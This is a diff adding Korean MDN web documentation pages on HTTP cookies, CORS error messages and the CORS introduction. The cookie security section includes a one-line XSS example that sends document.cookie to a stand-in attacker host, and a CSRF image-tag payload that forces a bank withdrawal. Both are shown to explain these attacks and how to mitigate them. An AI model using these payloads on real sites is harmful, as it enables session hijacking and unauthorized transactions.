+<p>HTTP 요청을 수신할 때, 서버는 응답과 함께 {{HTTPHeader("Set-Cookie")}} 헤더를 전송할 수 있습니다. 쿠키는 보통 브라우저에 의해 저장되며, 그 후 쿠키는 같은 서버에 의해 만들어진 요청(Request)들의 {{HTTPHeader("Cookie")}} HTTP 헤더안에 포함되어 전송됩니다. 만료일 혹은 지속시간(duration)도 명시될 수 있고, 만료된 쿠키는 더이상 보내지지 않습니다. 추가적으로, 특정 도메인 혹은 경로 제한을 설정할 수 있으며 이는 쿠키가 보내지는 것을 제한할 수 있습니다.</p>
+
+<h3 id="Set-Cookie_그리고_Cookie_헤더"><code>Set-Cookie</code> 그리고 <code>Cookie</code> 헤더</h3>
+
+<p>{{HTTPHeader("Set-Cookie")}} HTTP 응답 헤더는 서버로부터 사용자 에이전트로 전송됩니다. 간단한 쿠키는 다음과 같이 설정될 수 있습니다:</p>
+
+<pre class="notranslate">Set-Cookie: &lt;cookie-name&gt;=&lt;cookie-value&gt;
+</pre>
+
+<p>이 서버 헤더는 클라이언트에게 쿠키를 저장하라고 전달합니다.</p>
+
+<pre class="syntaxbox notranslate"><code>HTTP/1.0 200 OK
+Content-type: text/html
+Set-Cookie: yummy_cookie=choco
+Set-Cookie: tasty_cookie=strawberry
+
+[page content]</code></pre>
+
+<p>이제, 서버로 전송되는 모든 요청과 함께, 브라우저는 {{HTTPHeader("Cookie")}} 헤더를 사용하여 서버로 이전에 저장했던 모든 쿠키들을 회신할 것입니다.</p>
+
+<pre class="syntaxbox notranslate">GET /sample_page.html HTTP/1.1
+Host: www.example.org
+Cookie: yummy_cookie=choco; tasty_cookie=strawberry</pre>
+
+<div class="note">
+<p><strong>Note:</strong> Here's how to use the <code>Set-Cookie</code> header in various server-side applications:</p>
+
+<ul>
+ <li><a href="https://secure.php.net/manual/en/function.setcookie.php">PHP</a></li>
+ <li><a href="https://nodejs.org/dist/latest-v8.x/docs/api/http.html#http_response_setheader_name_value">Node.JS</a></li>
+ <li><a href="https://docs.python.org/3/library/http.cookies.html">Python</a></li>
+ <li><a href="http://api.rubyonrails.org/classes/ActionDispatch/Cookies.html">Ruby on Rails</a></li>
+</ul>
+
+<dl>
+</dl>
+</div>
+
+<h3 id="쿠키의_라이프타임">쿠키의 라이프타임</h3>
+
+<p>쿠키의 라이프타임은 두가지 방법으로 정의할 수 있습니다:</p>
+
+<ul>
+ <li><em>세션 </em>쿠키는 현재 세션이 끝날 때 삭제됩니다. 브라우저는 "현재 세션"이 끝나는 시점을 정의하며, 어떤 브라우저들은 재시작할 때 <em>세션을 복원</em>해 세션 쿠키가 무기한 존재할 수 있도록 합니다.</li>
+ <li><em>영속적인 쿠키</em>는 <code>Expires</code> 속성에 명시된 날짜에 삭제되거나, <code>Max-Age</code> 속성에 명시된 기간 이후에 삭제됩니다.</li>
+</ul>
+
+<p>예를 들면 아래와 같습니다:</p>
+
+<pre class="notranslate">Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT;</pre>
+
+<div class="note">
+<p><strong>Note</strong>: When an expiry date is set, the time and date set is relative to the client the cookie is being set on, not the server.</p>
+</div>
+
+<h3 id="Secure과_HttpOnly_쿠키"><code>Secure</code>과 <code>HttpOnly</code> 쿠키</h3>
+
+<p>Secure 쿠키는 HTTPS 프로토콜 상에서 암호화된(encrypted ) 요청일 경우에만 전송됩니다. 하지만 <code>Secure</code>일지라도 민감한 정보는 절대 쿠키에 저장되면 안됩니다, 본질적으로 안전하지 않고 이 플래그가 당신에게 실질적인 보안(real protection)를 제공하지 않기 때문입니다. 크롬52 혹은 파이어폭스52로 시작한다면, 안전하지 않은 사이트(<code>http:</code>) 는 쿠키에 <code>Secure</code> 설정을 지시할 수 없습니다.</p>
+
+<p>Cross-site 스크립팅 ({{Glossary("XSS")}}) 공격을 방지하기 위해, <code>HttpOnly</code>쿠키는 JavaScript의 {{domxref("Document.cookie")}} API에 접근할 수 없습니다; 그들은 서버에게 전송되기만 합니다. 예를 들어, 서버 쪽에서 지속되고 있는 세션의 쿠키는 JavaScript를 사용할 필요성이 없기 때문에 <code>HttpOnly</code>플래그가 설정될 것입니다.</p>
+
+<pre class="notranslate">Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure; HttpOnly</pre>
+
+<h3 id="쿠키의_스코프">쿠키의 스코프</h3>
+
+<p><code>Domain</code> 그리고 <code>Path</code> 디렉티브는 쿠키의 <em>스코프</em>를 정의합니다: 어떤 URL을 쿠키가 보내야 하는지.</p>
+
+<p><code>Domain</code>은 쿠키가 전송되게 될 호스트들을 명시합니다. 만약 명시되지 않는다면, (서브 도메인은 포함되지 않는) 현재 문서 위치의 호스트 일부를 기본값으로 합니다. 도메인이 명시되면, 서브도메인들은 항상 포함됩니다.</p>
+
+<p>만약 <code>Domain=mozilla.org</code>이 설정되면, 쿠키들은 <code>developer.mozilla.org</code>와 같은 서브도메인 상에 포함되게 됩니다.</p>
+
+<p><code>Path</code>는 <code>Cookie</code> 헤더를 전송하기 위하여 요청되는 URL 내에 반드시 존재해야 하는 URL 경로입니다. %x2F ("/") 문자는 디렉티브 구분자로 해석되며 서브 디렉토리들과 잘 매치될 것입니다.</p>
+
+<p>만약 <code>Path=/docs</code>이 설정되면, 다음의 경로들은 모두 매치될 것입니다:</p>
+
+<ul>
+ <li><code>/docs</code></li>
+ <li><code>/docs/Web/</code></li>
+ <li><code>/docs/Web/HTTP</code></li>
+</ul>
+
+<h3 id="SameSite_쿠키_experimental_inline"><code>SameSite</code> 쿠키 {{experimental_inline}}</h3>
+
+<p><code>SameSite</code> 쿠키는 쿠키가 cross-site 요청과 함께 전송되지 않았음을 요구하게 만들어, cross-site 요청 위조 공격({{Glossary("CSRF")}})에 대해 어떤 보호 방법을 제공합니다. <code>SameSite</code> 쿠키는 여전히 실험 중이며 모든 브라우저에 의해 아직 제공되지 않고 있습니다.</p>
+
+<h3 id="Document.cookie를_사용한_자바스크립트_접근"><code>Document.cookie</code>를 사용한 자바스크립트 접근</h3>
+
+<p>새로운 쿠키들은 {{domxref("Document.cookie")}}를 사용해 만들어질 수도 있으며, <code>HttpOnly</code> 플래그가 설정되지 않은 경우 기본의 쿠키들은 자바스크립트로부터 잘 접근될 수 있습니다.</p>
+
+<pre class="brush: js notranslate">document.cookie = "yummy_cookie=choco";
+document.cookie = "tasty_cookie=strawberry";
+console.log(document.cookie);
+// logs "yummy_cookie=choco; tasty_cookie=strawberry"</pre>
+
+<p>아래 <a href="/en-US/docs/Web/HTTP/Cookies#Security">보안</a> 섹션에서 다루고 있는데로 보안 관련 내용들을 잘 알아두시기 바랍니다. 자바스크립트에서 이용 가능한 쿠키들은 XSS를 통해 감청될 수 있습니다.</p>
+
+<ul>
+</ul>
+
+<h2 id="보안">보안</h2>
+
+<div class="note">
+<p>기밀 혹은 민감한 정보는 전체 메커니즘이 본질적으로 위험하기 때문에 HTTP 쿠키 내에 저장되거나 전송되어서는 안됩니다.</p>
+</div>
+
+<h3 id="세션_하이재킹과_XSS">세션 하이재킹과 XSS</h3>
+
+<p>쿠키는 대개 웹 애플리케이션에서 사용자와 그들의 인증된 세션을 식별하기 위해 사용되곤 합니다. 그래서 쿠키를 가로채는 것은 인증된 사용자의 세션 하이재킹으로 이어질 수 있습니다. 쿠키를 가로채는 일반적인 방법은 소셜 공학 사용 혹은 애플리케이션 내 {{Glossary("XSS")}} 취약점을 이용하는 것을 포함합니다.</p>
+
+<pre class="brush: js notranslate">(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;</pre>
+
+<p><code>HttpOnly</code> 쿠키 속성은 자바스크립트를 통해 쿠키 값에 접근하는 것을 막아 이런 공격을 누그러뜨리는데 도움을 줄 수 있습니다.</p>
+
+<h3 id="Cross-site_요청_위조_CSRF">Cross-site 요청 위조 (CSRF)</h3>
+
+<p><a href="https://en.wikipedia.org/wiki/HTTP_cookie#Cross-site_request_forgery">위키피디아</a>에 {{Glossary("CSRF")}}에 대한 좋은 예제가 있습니다. 위키피디아의 예와 같은 상황에서, 당신의 은행 서버에 돈을 입금하는 실제 요청 대신에, 실제로는 이미지가 아닌 이미지를 포함시키고 있습니다(예를 들어 필터링되지 않은 채팅이나 포럼 페이지 내에):</p>
+
+<pre class="brush: html notranslate">&lt;img src="http://bank.example.com/withdraw?account=bob&amp;amount=1000000&amp;for=mallory"&gt;</pre>
+
+<p>이제, 당신이 당신의 은행 계좌에 로그인하고 당신의 쿠키가 여전히 유효하다면(그리고 별 다른 검증 절차가 존재하지 않는다면), 해당 이미지를 포함하고 있는 HTML을 로드하자마자 돈이 송금될 것입니다. 이런 일들이 벌어지는 것을 방지하기 위한 몇 가지 기술이 있습니다:</p>
+
+<ul>
+ <li>{{Glossary("XSS")}}와 마찬가지로, 입력 필터링은 중요한 문제입니다.</li>
+ <li>모든 민감한 동작에 필수로 요구되는 확인 절차가 항상 수행되도록 합니다.</li>
+ <li>민감한 동작에 사용되는 쿠키는 짧은 수명만 갖도록 합니다.</li>
+ <li>좀 더 많은 예방 팁은 <a href="https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet">OWASP CSRF 예방 치트 시트</a>를 참고하시기 바랍니다.</li>
+</ul>
+
+<h2 id="트래킹과_프라이버시">트래킹과 프라이버시</h2>
+
+<h3 id="서드파티_쿠키">서드파티 쿠키</h3>
+
+<p>쿠키는 그와 관련된 도메인을 가집니다. 이 도메인이 당신이 현재 보고 있는 페이지의 도메인과 동일하다면, 그 쿠키는 <em>퍼스트파티 쿠키</em>라고 불립니다. 만약 도메인이 다르다면, <em>서드파티 쿠키</em>라고 부릅니다. 퍼스트파티 쿠키가 그것을 설정한 서버에만 전송되는데 반해, 웹 페이지는 다른 도메인의 서버 상에 저장된 (광고 배너와 같은) 이미지 혹은 컴포넌트를 포함할 수도 있습니다. 이러한 서드파티 컴포넌트를 통해 전송되는 쿠키들을 서드파티 쿠키라고 부르며 웹을 통한 광고와 트래킹에 주로 사용됩니다. <a href="https://www.google.com/policies/technologies/types/">구글이 사용하는 쿠키 타입</a>을 예로 참고하시기 바랍니다. 대부분의 브라우저들은 기본적으로 서드파티 쿠키를 따르지만, 그것을 차단하는데 이용되는 애드온들이 있습니다(예를 들어, <a href="https://www.eff.org/">EFF</a>이 만든 <a href="https://addons.mozilla.org/en-US/firefox/addon/privacy-badger-firefox/">Privacy Badger</a>이 있습니다).</p>
+
+<p>당신이 만약 서드파티 쿠키를 공개하고 있지 않다면, 쿠키 사용이 밝혀질 경우 소비자 신뢰를 잃을 수도 있습니다. (프라이버시 정책과 같은) 명백한 공개는 쿠키 발견과 관련된 모든 부정적인 효과를 없애는 경향이 있습니다. 어떤 국가들은 쿠키에 관한 법률도 가지고 있습니다. 위키피디아의 <a href="https://wikimediafoundation.org/wiki/Cookie_statement">쿠키 구문</a>을 예로 참고하시기 바랍니다.</p>
+
+<ul>
+</ul>
+
+<h3 id="Do-Not-Track">Do-Not-Track</h3>
+
+<p>쿠키 사용에 대한 합법적이거나 기술적인 요구사항은 없지만, {{HTTPHeader("DNT")}} 헤더는 웹 애플리케이션이 트래킹 혹은 개인 사용자의 cross-site 사용자 트래킹 모두를 비활성화하는 신호로 사용될 수 있습니다. 좀 더 자세한 내용은 {{HTTPHeader("DNT")}} 헤더를 참고하시기 바랍니다.</p>
+
+<h3 id="EU_쿠키_디렉티브">EU 쿠키 디렉티브</h3>
+
+<p>EU 전역의 쿠키에 대한 요구사항은 유럽 의회의 <a href="http://eur-lex.europa.eu/legal-content/EN/TXT/?uri=CELEX:32009L0136">Directive 2009/136/EC</a>에 정의되어 있으며 2011년 5월 25일에 발효되었습니다. 디렉티브는 그 자체로 법은 아니지만, 디렉티브의 요구사항을 만족시키는 법을 제정하려는 EU 회원국들을 위한 요구사항입니다. 실제 법들은 나라마다 다를 수 있습니다.</p>
+
+<p>짧게 말하자면, EU 디렉티브는 컴퓨터, 모바일 폰 혹은 다른 기기들에서 누군가가 어떤 정보든지 저장하거나 검색하기 전에, 사용자는 그렇게 하기 위해 사전 동의해야만 한다는 내용입니다. 많은 웹 사이트들은 사용자가에게 쿠키 사용에 대한 내용을 알려준 뒤에 배너들을 추가할 수 있습니다.</p>
+
+<p>좀 더 자세한 내용은 <a href="https://en.wikipedia.org/wiki/HTTP_cookie#EU_cookie_directive">여기 위키피디아 섹션</a>을 보시고 가장 최근의 가장 정확한 정보는 국가법을 참고하시기 바랍니다.</p>
+
+<h3 id="좀비_쿠키와_Evercookies">좀비 쿠키와 Evercookies</h3>
+
+<p>쿠키에 대한 좀 더 급진적인 해결책은 삭제 이후에 다시 생성되는 좀비 쿠키 혹은 "Evercookies"이며 의도적으로 영원히 제거하는 것이 어려운 쿠키입니다. 그들은 쿠키가 존재 여부와 관계없이 그들 자신을 다시 만들어내기 위해 <a href="/en-US/docs/Web/API/Web_Storage_API" title="DOM Storage">웹 스토리지 API</a>, Flash 로컬 공유 객체 그리고 다른 기술들을 사용하고 있습니다.</p>
+
+<ul>
+ <li><a href="https://github.com/samyk/evercookie">Samy Kamkar의 Evercookie</a></li>
+ <li><a href="https://en.wikipedia.org/wiki/Zombie_cookie">좀비 쿠키에 대한 위키피디아</a></li>
+</ul>
+
+<h2 id="함께_참고할_내용">함께 참고할 내용</h2>
+
+<ul>
+ <li>{{HTTPHeader("Set-Cookie")}}</li>
+ <li>{{HTTPHeader("Cookie")}}</li>
+ <li>{{domxref("Document.cookie")}}</li>
+ <li>{{domxref("Navigator.cookieEnabled")}}</li>
+ <li><a href="/en-US/docs/Tools/Storage_Inspector">스토리지 검사기를 사용하여 쿠키 검사하기</a></li>
+ <li><a class="external" href="https://tools.ietf.org/html/rfc6265">쿠키 명세: RFC 6265</a></li>
+ <li><a class="external" href="https://www.nczonline.net/blog/2009/05/05/http-cookies-explained/">쿠키에 대한 Nicholas Zakas의 글</a></li>
+ <li><a class="external" href="https://www.nczonline.net/blog/2009/05/12/cookies-and-security/">쿠키와 보안에 대한 Nicholas Zakas의 글</a></li>
+ <li><a href="https://en.wikipedia.org/wiki/HTTP_cookie">HTTP 쿠키에 대한 위키피디아</a></li>
+</ul>
diff --git a/files/ko/web/http/cors/errors/corsdidnotsucceed/index.html b/files/ko/web/http/cors/errors/corsdidnotsucceed/index.html
new file mode 100644
index 0000000000..4cb694d0d5
--- /dev/null
+++ b/files/ko/web/http/cors/errors/corsdidnotsucceed/index.html
@@ -0,0 +1,22 @@
+---
+title: 'Reason: CORS request did not succeed'
+slug: Web/HTTP/CORS/Errors/CORSDidNotSucceed
+translation_of: Web/HTTP/CORS/Errors/CORSDidNotSucceed
+---
+<div>{{HTTPSidebar}}</div>
+
+<h2 id="원인">원인</h2>
+
+<pre class="syntaxbox">원인: CORS 요청이 성공하지 못했습니다.</pre>
+
+<h2 id="무엇이_문제인가요">무엇이 문제인가요?</h2>
+
+<p>네트워크 또는 프로토콜 수준에서 HTTP 연결이 실패했기 때문에 CORS를 사용하는  {{Glossary("HTTP")}} 요청이 실패했습니다. 이 에러는 근본적인 네트워크 에러이거나 그에 준하는 에러로 CORS와 직접적인 연관이 있는 것은 아닙니다.</p>
+
+<h2 id="더_보기">더 보기</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/HTTP/CORS/Errors">CORS 에러</a></li>
+ <li>Glossary: {{Glossary("CORS")}}</li>
+ <li><a href="/en-US/docs/Web/HTTP/CORS">CORS 소개</a></li>
+</ul>
diff --git a/files/ko/web/http/cors/errors/corsrequestnothttp/index.html b/files/ko/web/http/cors/errors/corsrequestnothttp/index.html
new file mode 100644
index 0000000000..9c583d82fa
--- /dev/null
+++ b/files/ko/web/http/cors/errors/corsrequestnothttp/index.html
@@ -0,0 +1,43 @@
+---
+title: 'Reason: CORS request not HTTP'
+slug: Web/HTTP/CORS/Errors/CORSRequestNotHttp
+tags:
+ - CORS
+ - CORSRequestNotHttp
+ - HTTP
+ - HTTPS
+ - 메시지
+ - 문제해결
+ - 보안
+ - 에러
+ - 이유
+ - 콘솔
+ - 크로스 오리진
+translation_of: Web/HTTP/CORS/Errors/CORSRequestNotHttp
+---
+<div>{{HTTPSidebar}}</div>
+
+<h2 id="이유">이유</h2>
+
+<pre class="syntaxbox">Reason: CORS request not HTTP</pre>
+
+<h2 id="무엇이_잘못되었는가">무엇이 잘못되었는가?</h2>
+
+<p>{{Glossary("CORS")}} 요청은 오직 HTTPS URL 스키마만을 사용할 수 있지만 요청에 의해 지정된 URL은 다른 타입이다. 이는 URL이 <code>file:///</code> URL을 사용해 로컬 파일을 지정할 경우 종종 발생한다.</p>
+
+<p>이 문제를 해결하려면, {{domxref("XMLHttpRequest")}}, <a href="/ko/docs/Web/API/Fetch_API">Fetch</a> APIs, 웹 폰트 (<code>@font-face</code>), <a href="/ko/docs/Web/API/WebGL_API/Tutorial/Using_textures_in_WebGL">WebGL textures</a>, XSL 스타일시트와 같은 CORS를 포함하는 요청이 발생할 때 HTTPS URL을 사용하고 있는지 확인하도록 한다.</p>
+
+<h3 id="Firefox_68에서의_로컬_파일_보안">Firefox 68에서의 로컬 파일 보안</h3>
+
+<p>Firefox 67 이전 버전에서 <code>file:///</code> URI를 사용하는 페이지를 열때 페이지의 오리진은 페이지가 열린 디렉토리로 정의된다. 동일한 디렉토리와 그 하위 디렉토리의 리소스들은 CORS 동일-오리진 규칙의 목적을 위한 동일 오리진을 갖는 것으로 처리된다.</p>
+
+<p><a href="https://www.mozilla.org/en-US/security/advisories/mfsa2019-21/#CVE-2019-11730">CVE-2019-11730</a>에 대한 응답으로, Firefox 68 이후 버전에서는 <code>file:///</code> URI를 사용해 열린 페이지의 오리진은 유니크한 것으로 정의된다. 그러므로, 동일 디렉토리나 그 하위 디렉토리의 다른 리소스들은 더 이상 CORS 동일-오리진 규칙을 충족하지 않는다. 이는 <code>privacy.file_unique_origin</code> 구성을 사용하여 기본으로 활성화되는 새로운 동작이다.</p>
+
+<h2 id="함께_보기">함께 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/HTTP/CORS/Errors">CORS 에러</a></li>
+ <li>Glossary: {{Glossary("CORS")}}</li>
+ <li><a href="/ko/docs/Web/HTTP/CORS">CORS 소개</a></li>
+ <li><a href="/ko/docs/Learn/Common_questions/What_is_a_URL">URL이 무엇인가?</a></li>
+</ul>
diff --git a/files/ko/web/http/cors/errors/index.html b/files/ko/web/http/cors/errors/index.html
new file mode 100644
index 0000000000..d1dd12dc75
--- /dev/null
+++ b/files/ko/web/http/cors/errors/index.html
@@ -0,0 +1,76 @@
+---
+title: CORS errors
+slug: Web/HTTP/CORS/Errors
+tags:
+ - CORS
+ - Errors
+ - HTTP
+ - HTTPS
+ - Messages
+ - NeedsTranslation
+ - Same-origin
+ - Security
+ - TopicStub
+ - console
+ - troubleshooting
+translation_of: Web/HTTP/CORS/Errors
+---
+<div>{{HTTPSidebar}}</div>
+
+<p><span class="seoSummary"><a href="/en-US/docs/Web/HTTP/CORS">Cross-Origin Resource Sharing</a> ({{Glossary("CORS")}}) is a standard that allows a server to relax the <a href="/en-US/docs/Web/Security/Same-origin_policy">same-origin policy</a>. This is used to explicitly allow some cross-origin requests while rejecting others.</span> For example, if a site offers an embeddable service, it may be necessary to relax certain restrictions. Setting up such a CORS configuration isn't necessarily easy and may present some challenges. In these pages, we'll look into some common CORS error messages and how to resolve them.</p>
+
+<p>If the CORS configuration isn't setup correctly, the browser console will present an error like <code>"Cross-Origin Request Blocked: The Same Origin Policy disallows reading the remote resource at $somesite"</code> indicating that the request was blocked due to violating the CORS security rules. This might not necessarily be a set-up mistake, though. It's possible that the request is in fact intentionally being disallowed by the user's web application and remote external service. However, If the endpoint is meant to be available, some debugging is needed to succeed.</p>
+
+<h2 id="Identifying_the_issue">Identifying the issue</h2>
+
+<p>To understand the underlying issue with the CORS configuration, you need to find out which request is at fault and why. These steps may help you do so:</p>
+
+<ol>
+ <li>Navigate to the web site or web app in question and open the <a href="/en-US/docs/Tools">Developer Tools</a>.</li>
+ <li>Now try to reproduce the failing transaction and check the <a href="/en-US/docs/Tools/Web_Console">console</a> if you are seeing a CORS violation error message. It will probably look like this:</li>
+</ol>
+
+<p><img alt="Firefox console showing CORS error" src="https://mdn.mozillademos.org/files/16050/cors-error2.png"></p>
+
+<p>The text of the error message will be something similar to the following:</p>
+
+<pre>Cross<span class="message-body-wrapper"><span class="message-flex-body"><span class="devtools-monospace message-body">-Origin Request Blocked: The Same Origin Policy disallows
+reading the remote resource at <em>https://some-url-here</em>. (<em>Reason:
+additional information here</em>).</span></span></span></pre>
+
+<div class="note">
+<p><span class="message-body-wrapper"><span class="message-flex-body"><span class="devtools-monospace message-body"><strong>Note:</strong> For security reasons, specifics about what went wrong with a CORS request <em>are not available to JavaScript code</em>. All the code knows is that an error occurred. The only way to determine what specifically went wrong is to look at the browser's console for details.</span></span></span></p>
+</div>
+
+<h2 id="CORS_error_messages">CORS error messages</h2>
+
+<p>Firefox's console displays messages in its console when requests fail due to CORS. Part of the error text is a "reason" message that provides added insight into what went wrong.  The reason messages are listed below; click the message to open an article explaining the error in more detail and offering possible solutions.</p>
+
+<ul>
+ <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSDisabled">Reason: CORS disabled</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSDidNotSucceed">Reason: CORS request did not succeed</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSOriginHeaderNotAdded">Reason: CORS header ‘Origin’ cannot be added</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSExternalRedirectNotAllowed">Reason: CORS request external redirect not allowed</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSRequestNotHttp">Reason: CORS request not http</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSMissingAllowOrigin">Reason: CORS header ‘Access-Control-Allow-Origin’ missing</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSAllowOriginNotMatchingOrigin">Reason: CORS header ‘Access-Control-Allow-Origin’ does not match ‘xyz’</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSNotSupportingCredentials">Reason: Credential is not supported if the CORS header ‘Access-Control-Allow-Origin’ is ‘*’</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSMethodNotFound">Reason: Did not find method in CORS header ‘Access-Control-Allow-Methods’</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSMissingAllowCredentials">Reason: expected ‘true’ in CORS header ‘Access-Control-Allow-Credentials’</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSPreflightDidNotSucceed">Reason: CORS preflight channel did not succeed</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSInvalidAllowMethod">Reason: invalid token ‘xyz’ in CORS header ‘Access-Control-Allow-Methods’</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSInvalidAllowHeader">Reason: invalid token ‘xyz’ in CORS header ‘Access-Control-Allow-Headers’</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSMissingAllowHeaderFromPreflight">Reason: missing token ‘xyz’ in CORS header ‘Access-Control-Allow-Headers’ from CORS preflight channel</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSMultipleAllowOriginNotAllowed">Reason: Multiple CORS header ‘Access-Control-Allow-Origin’ not allowed</a></li>
+</ul>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>Glossary: {{Glossary("CORS")}}</li>
+ <li><a href="/en-US/docs/Web/HTTP/CORS">CORS introduction</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/Server-Side_Access_Control">Server-side CORS settings</a></li>
+ <li><a href="/en-US/docs/Web/HTML/CORS_enabled_image">CORS enabled image</a></li>
+ <li><a href="/en-US/docs/Web/HTML/CORS_settings_attributes">CORS settings attributes</a></li>
+ <li><a href="https://www.test-cors.org">https://www.test-cors.org</a> – page to test CORS requests</li>
+</ul>
diff --git a/files/ko/web/http/cors/index.html b/files/ko/web/http/cors/index.html
new file mode 100644
index 0000000000..ffaed542fb
--- /dev/null
+++ b/files/ko/web/http/cors/index.html
@@ -0,0 +1,476 @@
+---
+title: 교차 출처 리소스 공유 (CORS)
+slug: Web/HTTP/CORS
+tags:
+ - CORS
+ - HTTP
+ - Same-origin policy
+ - Security
+ - 'l10n:priority'
+ - 교차 출처
+ - 동일 출처
+translation_of: Web/HTTP/CORS
+---
+<div>이에 대한 응답으로 서버는 Access-Control-Allow-Origin 헤더를 다시 보냅니다.{{HTTPSidebar}}</div>
+
+<p><strong>교차 출처 리소스 공유</strong>(Cross-Origin Resource Sharing, {{Glossary("CORS")}})는 추가 {{Glossary("HTTP")}} 헤더를 사용하여, 한 {{glossary("origin", "출처")}}에서 실행 중인 웹 애플리케이션이 다른 출처의 선택한 자원에 접근할 수 있는 권한을 부여하도록 브라우저에 알려주는 체제입니다. 웹 애플리케이션은 리소스가 자신의 출처(도메인, 프로토콜, 포트)와 다를 때 교차 출처 HTTP 요청을 실행합니다.</p>
+
+<p>교차 출처 요청의 예시: <code>https://domain-a.com</code>의 프론트 엔드 JavaScript 코드가 {{domxref("XMLHttpRequest")}}를 사용하여 <code>https://domain-b.com/data.json</code>을 요청하는 경우.</p>
+
+<p>보안 상의 이유로, 브라우저는 스크립트에서 시작한 교차 출처 HTTP 요청을 제한합니다. 예를 들어, <code>XMLHttpRequest</code>와 <a href="/ko/docs/Web/API/Fetch_API">Fetch API</a>는 <a href="/ko/docs/Web/Security/Same-origin_policy">동일 출처 정책</a>을 따릅니다. 즉, 이 API를 사용하는 웹 애플리케이션은 자신의 출처와 동일한 리소스만 불러올 수 있으며, 다른 출처의 리소스를 불러오려면 그 출처에서 올바른 CORS 헤더를 포함한 응답을 반환해야 합니다.<img src="https://mdn.mozillademos.org/files/14295/CORS_principle.png"></p>
+
+<p>CORS 체제는 브라우저와 서버 간의 안전한 교차 출처 요청 및 데이터 전송을 지원합니다. 최신 브라우저는 <code>XMLHttpRequest</code> 또는 <a href="/ko/docs/Web/API/Fetch_API">Fetch</a>와 같은 API에서 CORS를 사용하여 교차 출처 HTTP 요청의 위험을 완화합니다.</p>
+
+<h2 id="이_글은_누가_읽어야_하나요">이 글은 누가 읽어야 하나요?</h2>
+
+<p>모든 사람이요, 진짜로.</p>
+
+<p>명확히 말하자면, 이 글은 <strong>웹 관리자</strong>, <strong>서버 개발자 </strong>그리고 <strong>프론트엔드 개발자</strong>를 위한 것입니다. 최신 브라우저는 헤더와 정책 집행을 포함한 클라이언트 측 교차 출처 공유를 처리합니다. 그러나 CORS 표준에 맞춘다는 것은 서버에서도 새로운 요청과 응답 헤더를 처리해야 한다는 것입니다. 서버 개발자에게는 <a href="/en-US/docs/Web/HTTP/Server-Side_Access_Control">(PHP 코드 조각과 함께 하는) 서버 관점의 교차 출처 공유</a>를 다루고 있는 다른 글로 보충하면 도움이 될 것입니다.</p>
+
+<h2 id="어떤_요청이_CORS를_사용하나요">어떤 요청이 CORS를 사용하나요?</h2>
+
+<p><a href="https://fetch.spec.whatwg.org/#http-cors-protocol">교차 출처 공유 표준</a>은 다음과 같은 경우에 사이트간 HTTP 요청을 허용합니다.</p>
+
+<ul>
+ <li>위에서 논의한 바와 같이, {{domxref("XMLHttpRequest")}}와 <a href="/ko/docs/Web/API/Fetch_API">Fetch API</a> 호출.</li>
+ <li>웹 폰트(CSS 내 <code>@font-face</code>에서 교차 도메인 폰트 사용 시), <a href="https://www.w3.org/TR/css-fonts-3/#font-fetching-requirements">so that servers can deploy TrueType fonts that can only be cross-site loaded and used by web sites that are permitted to do so.</a></li>
+ <li><a href="/ko/docs/Web/API/WebGL_API/Tutorial/Using_textures_in_WebGL">WebGL 텍스쳐</a>.</li>
+ <li>{{domxref("CanvasRenderingContext2D.drawImage()", "drawImage()")}}를 사용해 캔버스에 그린 이미지/비디오 프레임.</li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Shapes/Shapes_From_Images">이미지로부터 추출하는 CSS Shapes.</a></li>
+</ul>
+
+<p>이 글은 교차 출처 리소스 공유에 대한 일반적인 논의이며 필요한 HTTP 헤더에 대한 내용도 포함하고 있습니다.</p>
+
+<h2 id="기능적_개요">기능적 개요</h2>
+
+<p>교차 출처 리소스 공유 표준은 웹 브라우저에서 해당 정보를 읽는 것이 허용된 출처를 서버에서 설명할 수 있는 새로운 <a href="/ko/docs/Web/HTTP/Headers">HTTP 헤더</a>를 추가함으로써 동작합니다. 추가적으로, 서버 데이터에 부수 효과(side effect)를 일으킬 수 있는 HTTP 요청 메서드({{HTTPMethod("GET")}}을 제외한 HTTP 메서드)에 대해, CORS 명세는 브라우저가 요청을 {{HTTPMethod("OPTIONS")}} 메서드로 "프리플라이트"(preflight, 사전 전달)하여 지원하는 메서드를 요청하고, 서버의 "허가"가 떨어지면 실제 요청을 보내도록 요구하고 있습니다. 또한 서버는 클라이언트에게 요청에 "인증정보"(<a href="/ko/docs/Web/HTTP/Cookies">쿠키</a>, <a href="/ko/docs/Web/HTTP/Authentication">HTTP 인증</a>)를 함께 보내야 한다고 알려줄 수도 있습니다.</p>
+
+<p>CORS 실패는 오류의 원인이지만, 보안상의 이유로 JavaScript에서는 오류의 상세 정보에 접근할 수 없으며, 알 수 있는 것은 오류가 발생했다는 사실 뿐입니다. 정확히 어떤 것이 실패했는지 알아내려면 브라우저의 콘솔을 봐야 합니다.</p>
+
